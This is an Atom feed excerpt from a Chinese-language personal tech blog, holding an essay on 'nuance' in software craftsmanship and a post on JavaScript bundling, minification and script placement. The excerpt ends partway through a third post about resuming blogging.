<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xml:lang="en" xml:base="http://hanklin.com/wp-atom.php">
	<title type="text">Hank Lin</title>
	<subtitle type="text">I hack everything ;)</subtitle>

	<updated>2012-02-07T02:31:41Z</updated>

	<link rel="alternate" type="text/html" href="http://hanklin.com" />
	<id>http://hanklin.com/feed/atom</id>
	

	<generator uri="http://wordpress.org/" version="3.3.1">WordPress</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/hanklin" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="hanklin" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.bloglines.com/sub/http://feeds.feedburner.com/hanklin" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.feedburner.com%2Fhanklin" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><entry>
		<author>
			<name>hank</name>
					</author>
		<title type="html"><![CDATA[nuance]]></title>
		<link rel="alternate" type="text/html" href="http://hanklin.com/p/332" />
		<id>http://hanklin.com/?p=332</id>
		<updated>2012-01-11T05:55:21Z</updated>
		<published>2012-01-11T05:15:58Z</published>
		<category scheme="http://hanklin.com" term="gossip" />		<summary type="html"><![CDATA[很久以前看英文的技術書時學到「nuance」這個字，查字典的解釋是「細微的差別」，例如音調、顏色、見解等細節的不同。 我喜歡這個字，是因為這個字代表每個個體的獨特性。以音樂來說，貝多芬的第九號交響曲的樂譜只有一種，但是不同的交響樂團，不同的指揮家，甚至不同的音樂廳，演奏出來的感覺都不同。而這些不同的版本就有個人喜好、意境的不同。節拍快0.1秒、音符修飾的1/100差異等等，這些用科學統計方法來看，不具顯著性的差異，但是卻能表現出不同的風格。例如福特萬格勒在拜魯特的貝九就被視為是經典詮釋。 有的指揮家認為，要完全遵照作曲家在樂譜上的指示，忠實的呈現出來，貫徹作曲家的意志。但有的指揮家覺得，樂譜有其表達力的限制，應該要適時揉合作曲家的作曲背景，並由指揮/演奏去詮釋作品。但不論是哪一種，都要有一定的能力才能達到。 我是Leica M相機的愛好者，這款高品質的德國相機，堅固耐用，功能非常少，他僅有的功能都是讓你能專注在「拍照」這件事上。用Leica M拍出來的照片，優異的暗部細節和寫實性，讓我非常的喜愛。看習慣用Leica M拍的照片之後，看一般的照片就會覺得「少了很多細節」。有些人看不出細節差異，但是我剛好是看得出來的那種。 回到軟體開發上面，「nuance」這個字就更重要了。軟體開發雖然是一種「創作」，但是本質上和「演奏」比較像。演奏要以「樂譜」為本，加上演奏者的詮釋。而軟體開發也是有一個目標，例如「需求」，再由開發者去詮釋。但是這個目標不像樂譜，有非常明確的規範，所以開發者能夠發揮的空間非常的大。就算再詳細的設計文件，在真正實作時，還是有一大段空間要填滿。 例如，我想做一個線上購物網站，這是目標，但是在作出來之前，沒有人知道這個網站將來會長什麼樣。就算網頁看起來一模一樣好了，也許背後用的技術完全不同，也許scalability不同，也許performance不同，也許cost不同。而這一切一切的不同，就是由許多開發時的選擇累積出來的。這些自由選擇(詮釋方式)，就是我所說的軟體nuance。 所以，軟體的開發者、設計者、架構者所作的大大小小的選擇，也就決定了這個系統的個性。和音樂一樣，在達到一定水準之後，沒有絕對的對錯，就只有「品味」(或喜好)的問題了。例如：貝九我可能比較喜歡卡拉揚的版本。 對軟體工程師來說，要有能力控制nuance，就必需要不斷增加見識廣度和技術深度，也要保持一顆熱情開放的心，願意嘗試新的東西，不能習慣於過去的作法。我的經驗是，我以為我已經看得夠廣夠深了，在和不同領域的人談過之後，我才發現自己看得太少了。同時，也要能培養出辨別「nuance」的能力，要知道作這個選擇會有什麼影響。 品質，是由許多小細節累積而成的，讓我們一起勉勵！]]></summary>
		<content type="html" xml:base="http://hanklin.com/p/332">&lt;p&gt;很久以前看英文的技術書時學到「nuance」這個字，查字典的解釋是「細微的差別」，例如音調、顏色、見解等細節的不同。&lt;/p&gt;
&lt;p&gt;我喜歡這個字，是因為這個字代表每個個體的獨特性。以音樂來說，貝多芬的第九號交響曲的樂譜只有一種，但是不同的交響樂團，不同的指揮家，甚至不同的音樂廳，演奏出來的感覺都不同。而這些不同的版本就有個人喜好、意境的不同。節拍快0.1秒、音符修飾的1/100差異等等，這些用科學統計方法來看，不具顯著性的差異，但是卻能表現出不同的風格。例如福特萬格勒在拜魯特的貝九就被視為是經典詮釋。&lt;/p&gt;
&lt;p&gt;有的指揮家認為，要完全遵照作曲家在樂譜上的指示，忠實的呈現出來，貫徹作曲家的意志。但有的指揮家覺得，樂譜有其表達力的限制，應該要適時揉合作曲家的作曲背景，並由指揮/演奏去詮釋作品。但不論是哪一種，都要有一定的能力才能達到。&lt;/p&gt;
&lt;p&gt;我是Leica M相機的愛好者，這款高品質的德國相機，堅固耐用，功能非常少，他僅有的功能都是讓你能專注在「拍照」這件事上。用Leica M拍出來的照片，優異的暗部細節和寫實性，讓我非常的喜愛。看習慣用Leica M拍的照片之後，看一般的照片就會覺得「少了很多細節」。有些人看不出細節差異，但是我剛好是看得出來的那種。&lt;/p&gt;
&lt;p&gt;回到軟體開發上面，「nuance」這個字就更重要了。軟體開發雖然是一種「創作」，但是本質上和「演奏」比較像。演奏要以「樂譜」為本，加上演奏者的詮釋。而軟體開發也是有一個目標，例如「需求」，再由開發者去詮釋。但是這個目標不像樂譜，有非常明確的規範，所以開發者能夠發揮的空間非常的大。就算再詳細的設計文件，在真正實作時，還是有一大段空間要填滿。&lt;/p&gt;
&lt;p&gt;例如，我想做一個線上購物網站，這是目標，但是在作出來之前，沒有人知道這個網站將來會長什麼樣。就算網頁看起來一模一樣好了，也許背後用的技術完全不同，也許scalability不同，也許performance不同，也許cost不同。而這一切一切的不同，就是由許多開發時的選擇累積出來的。這些自由選擇(詮釋方式)，就是我所說的軟體nuance。&lt;/p&gt;
&lt;p&gt;所以，軟體的開發者、設計者、架構者所作的大大小小的選擇，也就決定了這個系統的個性。和音樂一樣，在達到一定水準之後，沒有絕對的對錯，就只有「品味」(或喜好)的問題了。例如：貝九我可能比較喜歡卡拉揚的版本。&lt;/p&gt;
&lt;p&gt;對軟體工程師來說，要有能力控制nuance，就必需要不斷增加見識廣度和技術深度，也要保持一顆熱情開放的心，願意嘗試新的東西，不能習慣於過去的作法。我的經驗是，我以為我已經看得夠廣夠深了，在和不同領域的人談過之後，我才發現自己看得太少了。同時，也要能培養出辨別「nuance」的能力，要知道作這個選擇會有什麼影響。&lt;/p&gt;
&lt;p&gt;品質，是由許多小細節累積而成的，讓我們一起勉勵！&lt;/p&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=AOL2_cy8FWY:lx3moU8Lb9k:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=AOL2_cy8FWY:lx3moU8Lb9k:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=AOL2_cy8FWY:lx3moU8Lb9k:fIALcPRUi8c"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?i=AOL2_cy8FWY:lx3moU8Lb9k:fIALcPRUi8c" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content>
		<link rel="replies" type="text/html" href="http://hanklin.com/p/332#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://hanklin.com/p/332/feed/atom" thr:count="0" />
		<thr:total>0</thr:total>
	</entry>
		<entry>
		<author>
			<name>hank</name>
					</author>
		<title type="html"><![CDATA[JavaScript的處理方式]]></title>
		<link rel="alternate" type="text/html" href="http://hanklin.com/p/309" />
		<id>http://hanklin.com/?p=309</id>
		<updated>2011-11-03T08:14:48Z</updated>
		<published>2011-11-03T05:04:36Z</published>
		<category scheme="http://hanklin.com" term="web" /><category scheme="http://hanklin.com" term="js" /><category scheme="http://hanklin.com" term="performance" />		<summary type="html"><![CDATA[每個原始檔要先最小化，然後依照引用的順序合併。檔名可以在佈署時動態產生，常用的選擇有亂數、佈署版本的號碼或名稱、最後修改的檔案時間戳記、或可閱讀的曰期時間字串。 每個頁面所引用的JavaScript檔，組合會有很多種。所以對整個網站考量時，就有幾種合併的作法，以下是比較常用的。 整個網站用到的所有JavaScript，都合併成一個檔案 適合所有頁面引用的JavaScript，組合並不多時。並且引用的順序都一樣，也就是順序不影響的時候。這種作法當然網站速度最快，但是常常每個頁面引用的JavaScript，都有不同。而且有些JavaScript檔案，只在一、二個網頁被引用到，這個比例高的話，就變成每一頁都還要引用原本只需要在那一個網頁要讀取的JavaScript。有一些這類的JavaScript函式庫還滿大的，例如所見即所得編輯器(WYSIWYG)，所以實務上不見得是最適合的作法。 將所有頁面，或是超過一半的頁面，都有引用到的JavaScript，合併成一個檔案 這個JavaScript會被全部的網頁所引用，然後每個網頁再各自去合併自已的專屬JavaScript檔案。也就是變成一個是整個網站都用到的合併檔，另一個是這個網頁用到的合併檔。這樣的作法，會減少單一頁面的傳輸量，不至於包含了過多沒有用到的JavaScript檔案，但是至少會有兩次的JavaScript請求。適合每個網頁所引用的JavaScript很分歧，而且檔案又不算小的時候。這也是一般常見的情況。 每一個網頁各自合併自己引用的檔案 這樣每個網頁只會有一個JavaScript請求，而且不會有多餘的內容，也容許相同組合的JavaScript以不同順序引用。缺點就是你可能需要把JavaScript合併成多種組合，最多到和網頁數一樣多。如果在各網頁間，引用相同的JavaScrip檔案數量很少時，就適合用這個作法。其實這個作法不用管理&#8221;共同的&#8221;及&#8221;各別的&#8221;JavaScript檔案，是我比較喜歡的作法。 合併完成後，再來就是要最小化（minify）。JavaScript很適合最小化，可以用語法解析器（parser）檢查，並把不需要的空白去掉。例如使用rhino、jslint。 在合併完後，尤其是最小化之後，JavaScript原始檔會變得完全不能由人去編輯，所以合併及最小化的工作必須在佈署時期，由工具幫我們作。最好是命令列的工具，可以整合進專案的自動管理流程。 如果原本的一個JavaScript檔案，被合併到多個合併後的檔案。那麼，即使你只改了原始檔的一個字，所有合併後的檔案，都要重新產生，使用者也應該重新下載。 這裡可能有二個問題： 我們有設定快取標頭，如何通知使用者(瀏覽器)下載新的合併檔？ 只改一個檔案的一個字，就要使用者重新下載合併的檔案，會不會影響速度？ 第一個問題，只要改變下載合併檔的URL，下次使用者到這個網頁，就會重新下載這個合併檔。麻煩的地方在於，我們要把所有修改過的合併檔，傳到伺服器上。也就是說，一定要再走一次佈署流程，把所有合併檔都產生好，再佈署上去，即使有工具幫我們作，負擔也是不小，過程也很多地方可能會出錯。所以使用「lazy initialization」，在伺服器端作「合併」、「最小化」的工作，也是一個不錯的方法。 第二個問題，我認為影響不大。因為我們的目標是，即使客戶端完全沒有快取，也要能很快的顯示網頁。以每一個網頁只使用一到兩個&#60;script&#62;元素來看，負擔很小。這也可以說是，因為我們把請求數目大量的減少，所以不用太擔心快取的問題。 進行好合併、最小化之後，其它的工作就比較簡單了。也就是在網站伺服器上，對JavaScript檔案進行壓縮及設定快取標頭，把JavaScript的下載最佳化。 JavaScript檔案和區塊，都應該放在HTML文件的最後面。例如我的習慣，是像這樣子： &#60;html&#62; &#60;head&#62;&#60;/head&#62; &#60;body&#62; ...... &#60;script src=&#34;combined.js&#34;&#62;&#60;/script&#62; &#60;script&#62; $(function() { init(); }); &#60;/script&#62; &#60;/body&#62; &#60;/html&#62; 我們常常需要在我們的網站上，引用第三方的JavaScript函式庫，如社羣網站API、測量工具、或廣告商等。以前通常會對放置JavaScript的區塊作限制，甚至要求要用document.write()的語法，對我們網站的效能造成嚴重的限制。我真的不希望使用者看我的網頁，要先等廣告render好，才出現真正的內容。尤其是JavaScript的請求會擋住(block)網頁的render，如果第三方的網站回應較慢，還會連累我們的網站，讓使用者等半天，只看到白畫面。 還好，現在比較大的第三方JavaScript函式庫，都支援了非同步的JavaScript使用法。所以我們也要把這些JavaScript，在HTML文件和資源都準備好(onload)之後，再去呼叫初始化。初始化的步驟通常是用JavaScript插入一段引用第三方JavaScript函式庫的&#60;script&#62;元素，然後傳入必要的參數。 現在非同步的JavaScript函式庫的支援很常見，所以一定要用這個方法去引用。如果你要用的函式庫，沒有支援非同步的使用法，那我建議考慮別家，有支援非同步的函式庫。 另外應該避免的作法，就是使用「inline」的JavaScript，或是說&#60;script&#62;區塊。所謂的「inline」，就是直接寫在HTML裡的&#60;script&#62;元素，例如： &#60;div&#62; &#60;script&#62; alert(&#34;!&#34;); &#60;/script&#62; &#60;img src=&#34;what.png&#34; /&#62; &#60;/div&#62; inline又分成兩種，一種是寫在靜態HTML裡，如果量不多倒是還好。另一種是隨著伺服器端腳本（server side script）或範本（template）工具動態產生的HTML寫出去的。 這兩種作法都會造成許多管理、開發、和優化的麻煩，所以要從一開始就要儘量避免。 如果要最小化這些源始碼，必須先把inline的一段段&#60;script&#62;的內容拿出來，進行最小化處理之後，再塞回原本的地方。這個過程很囉嗦，也很容易出錯。 然而，還有一種寫法比inline更糟，那就是用伺服器端腳本或範本工具，動態產生JavaScript區塊，例如： &#60;script&#62; alert(&#34;Hello, &#60;%=userName%&#62;&#34;); &#60;/script&#62; [...]]]></summary>
		<content type="html" xml:base="http://hanklin.com/p/309">&lt;p&gt;每個原始檔要先最小化，然後依照引用的順序合併。檔名可以在佈署時動態產生，常用的選擇有亂數、佈署版本的號碼或名稱、最後修改的檔案時間戳記、或可閱讀的曰期時間字串。&lt;/p&gt;
&lt;p&gt;每個頁面所引用的JavaScript檔，組合會有很多種。所以對整個網站考量時，就有幾種合併的作法，以下是比較常用的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4&gt;整個網站用到的所有JavaScript，都合併成一個檔案&lt;/h4&gt;
&lt;p&gt;    適合所有頁面引用的JavaScript，組合並不多時。並且引用的順序都一樣，也就是順序不影響的時候。這種作法當然網站速度最快，但是常常每個頁面引用的JavaScript，都有不同。而且有些JavaScript檔案，只在一、二個網頁被引用到，這個比例高的話，就變成每一頁都還要引用原本只需要在那一個網頁要讀取的JavaScript。有一些這類的JavaScript函式庫還滿大的，例如所見即所得編輯器(WYSIWYG)，所以實務上不見得是最適合的作法。
  &lt;/li&gt;
&lt;li&gt;
&lt;h4&gt;將所有頁面，或是超過一半的頁面，都有引用到的JavaScript，合併成一個檔案&lt;/h4&gt;
&lt;p&gt;    這個JavaScript會被全部的網頁所引用，然後每個網頁再各自去合併自已的專屬JavaScript檔案。也就是變成一個是整個網站都用到的合併檔，另一個是這個網頁用到的合併檔。這樣的作法，會減少單一頁面的傳輸量，不至於包含了過多沒有用到的JavaScript檔案，但是至少會有兩次的JavaScript請求。適合每個網頁所引用的JavaScript很分歧，而且檔案又不算小的時候。這也是一般常見的情況。
  &lt;/li&gt;
&lt;li&gt;
&lt;h4&gt;每一個網頁各自合併自己引用的檔案&lt;/h4&gt;
&lt;p&gt;    這樣每個網頁只會有一個JavaScript請求，而且不會有多餘的內容，也容許相同組合的JavaScript以不同順序引用。缺點就是你可能需要把JavaScript合併成多種組合，最多到和網頁數一樣多。如果在各網頁間，引用相同的JavaScrip檔案數量很少時，就適合用這個作法。其實這個作法不用管理&amp;#8221;共同的&amp;#8221;及&amp;#8221;各別的&amp;#8221;JavaScript檔案，是我比較喜歡的作法。
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;合併完成後，再來就是要最小化（minify）。JavaScript很適合最小化，可以用語法解析器（parser）檢查，並把不需要的空白去掉。例如使用rhino、jslint。&lt;/p&gt;
&lt;p&gt;在合併完後，尤其是最小化之後，JavaScript原始檔會變得完全不能由人去編輯，所以合併及最小化的工作必須在佈署時期，由工具幫我們作。最好是命令列的工具，可以整合進專案的自動管理流程。&lt;br /&gt;
如果原本的一個JavaScript檔案，被合併到多個合併後的檔案。那麼，即使你只改了原始檔的一個字，所有合併後的檔案，都要重新產生，使用者也應該重新下載。 這裡可能有二個問題：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我們有設定快取標頭，如何通知使用者(瀏覽器)下載新的合併檔？
  &lt;/li&gt;
&lt;li&gt;只改一個檔案的一個字，就要使用者重新下載合併的檔案，會不會影響速度？
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;第一個問題，只要改變下載合併檔的URL，下次使用者到這個網頁，就會重新下載這個合併檔。麻煩的地方在於，我們要把所有修改過的合併檔，傳到伺服器上。也就是說，一定要再走一次佈署流程，把所有合併檔都產生好，再佈署上去，即使有工具幫我們作，負擔也是不小，過程也很多地方可能會出錯。所以使用「lazy initialization」，在伺服器端作「合併」、「最小化」的工作，也是一個不錯的方法。&lt;br /&gt;
第二個問題，我認為影響不大。因為我們的目標是，即使客戶端完全沒有快取，也要能很快的顯示網頁。以每一個網頁只使用一到兩個&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;元素來看，負擔很小。這也可以說是，因為我們把請求數目大量的減少，所以不用太擔心快取的問題。&lt;/p&gt;
&lt;p&gt;進行好合併、最小化之後，其它的工作就比較簡單了。也就是在網站伺服器上，對JavaScript檔案進行壓縮及設定快取標頭，把JavaScript的下載最佳化。&lt;/p&gt;
&lt;p&gt;JavaScript檔案和區塊，都應該放在HTML文件的最後面。例如我的習慣，是像這樣子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;

    ......

    &amp;lt;script src=&amp;quot;combined.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script&amp;gt;
      $(function() {
        init();
      });
    &amp;lt;/script&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我們常常需要在我們的網站上，引用第三方的JavaScript函式庫，如社羣網站API、測量工具、或廣告商等。以前通常會對放置JavaScript的區塊作限制，甚至要求要用document.write()的語法，對我們網站的效能造成嚴重的限制。我真的不希望使用者看我的網頁，要先等廣告render好，才出現真正的內容。尤其是JavaScript的請求會擋住(block)網頁的render，如果第三方的網站回應較慢，還會連累我們的網站，讓使用者等半天，只看到白畫面。&lt;br /&gt;
還好，現在比較大的第三方JavaScript函式庫，都支援了非同步的JavaScript使用法。所以我們也要把這些JavaScript，在HTML文件和資源都準備好(onload)之後，再去呼叫初始化。初始化的步驟通常是用JavaScript插入一段引用第三方JavaScript函式庫的&amp;lt;script&amp;gt;元素，然後傳入必要的參數。&lt;/p&gt;
&lt;p&gt;現在非同步的JavaScript函式庫的支援很常見，所以一定要用這個方法去引用。如果你要用的函式庫，沒有支援非同步的使用法，那我建議考慮別家，有支援非同步的函式庫。&lt;/p&gt;
&lt;p&gt;另外應該避免的作法，就是使用「inline」的JavaScript，或是說&amp;lt;script&amp;gt;區塊。所謂的「inline」，就是直接寫在HTML裡的&amp;lt;script&amp;gt;元素，例如： &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;div&amp;gt;
  &amp;lt;script&amp;gt;
    alert(&amp;quot;!&amp;quot;);
  &amp;lt;/script&amp;gt;
  &amp;lt;img src=&amp;quot;what.png&amp;quot; /&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;inline又分成兩種，一種是寫在靜態HTML裡，如果量不多倒是還好。另一種是隨著伺服器端腳本（server side script）或範本（template）工具動態產生的HTML寫出去的。&lt;/p&gt;
&lt;p&gt;這兩種作法都會造成許多管理、開發、和優化的麻煩，所以要從一開始就要儘量避免。&lt;/p&gt;
&lt;p&gt;如果要最小化這些源始碼，必須先把inline的一段段&amp;lt;script&amp;gt;的內容拿出來，進行最小化處理之後，再塞回原本的地方。這個過程很囉嗦，也很容易出錯。&lt;/p&gt;
&lt;p&gt;然而，還有一種寫法比inline更糟，那就是用伺服器端腳本或範本工具，動態產生JavaScript區塊，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;script&amp;gt;
  alert(&amp;quot;Hello, &amp;lt;%=userName%&amp;gt;&amp;quot;);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這種程式碼是很難進行自動化優化的，而且維護成本非常高，無論如何你都應該避免這種寫法。&lt;/p&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=m5UOe6QCb4Q:a0-yqeZVtrA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=m5UOe6QCb4Q:a0-yqeZVtrA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/hanklin?a=m5UOe6QCb4Q:a0-yqeZVtrA:fIALcPRUi8c"&gt;&lt;img src="http://feeds.feedburner.com/~ff/hanklin?i=m5UOe6QCb4Q:a0-yqeZVtrA:fIALcPRUi8c" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content>
		<link rel="replies" type="text/html" href="http://hanklin.com/p/309#comments" thr:count="2" />
		<link rel="replies" type="application/atom+xml" href="http://hanklin.com/p/309/feed/atom" thr:count="2" />
		<thr:total>2</thr:total>
	</entry>
		<entry>
		<author>
			<name>hank</name>
					</author>
		<title type="html"><![CDATA[blue pill or red pill?]]></title>
		<link rel="alternate" type="text/html" href="http://hanklin.com/p/292" />
		<id>http://hanklin.com/?p=292</id>
		<updated>2011-10-27T04:37:43Z</updated>
		<published>2011-10-27T04:34:02Z</published>
		<category scheme="http://hanklin.com" term="gossip" />		<summary type="html"><![CDATA[真的很久沒更新了。 標題又是用The Matrix裡的梗，可是圖都有版權的，不能用。 工作繁重不能當作藉囗，有辦法的人還是能有規律的產出新内容。像Jamie Lin，現在每天一篇啊，會不會太厲害了一點。 要寫blog，就像駭客任務裡的莫非斯給你的選擇。你可以選擇藍色藥丸，繼續過習慣的生活。或是選擇紅色藥丸，很辛苦地試著對生活進行革命。Your choice。 沒錯，革命哪有不辛苦的。寫第一本書的時候，我採用硬撐的方式。把睡覺時間拿來寫稿，沒錯，結果是出來了，但是畢竟不是長久之計。身為hack everything的人，不能繼續這樣作。 所以，要工作、要休息、要看資料，要陪家人，還要寫作，這到底要怎麼作到？別急，我也在試，總會有辦法的。 總之，是到了繼續的時候了。和之前說的一樣，我會把新書的內容，用blog的形式發表。每一篇都可能不完整、沒有前後文、鬼打牆、或是不通順，都是屬於正常現象，請小心服用。 除了原稿，我還必需建立幾個open source的專案，作為工具和framework。所以真的是大工程，有點像挖坑給自己跳。的確，追求完美的性格又發作了。 對我要寫的內容有任何疑問和建議，都可以提出來，我會參考。但是不一定有時間回應，因為我要繼續前進。發表過的內容也可能重新改寫，所以如果你覺得這篇和你之前看的不同，就忘了過去吧，現在的比較重要。 又到了最難的結尾了，這裡有一個facebook自high粉絲頁好少人的，有需要就按這個讚(遞)。]]></summary>
		<content type="html" xml:base="http://hanklin.com/p/292">&lt;p&gt;真的很久沒更新了。&lt;br /&gt;
標題又是用The Matrix裡的梗，可是圖都有版權的，不能用。&lt;br /&gt;
工作繁重不能當作藉囗，有辦法的人還是能有規律的產出新内容。像&lt;a href="http://mrjamie.cc/"&gt;Jamie Lin&lt;/a&gt;，現在每天一篇啊，會不會太厲害了一點。&lt;/p&gt;
&lt;p&gt;要寫blog，就像駭客任務裡的莫非斯給你的選擇。你可以選擇藍色藥丸，繼續過習慣的生活。或是選擇紅色藥丸，很辛苦地試著對生活進行革命。Your choice。&lt;/p&gt;
&lt;p&gt;沒錯，革命哪有不辛苦的。寫第一本書的時候，我採用硬撐的方式。把睡覺時間拿來寫稿，沒錯，結果是出來了，但是畢竟不是長久之計。身為&lt;a href="http://mrjamie.cc/2011/05/14/hack-everything/"&gt;hack everything&lt;/a&gt;的人，不能繼續這樣作。&lt;/p&gt;
&lt;p&gt;所以，要工作、要休息、要看資料，要陪家人，還要寫作，這到底要怎麼作到？別急，我也在試，總會有辦法的。&lt;/p&gt;
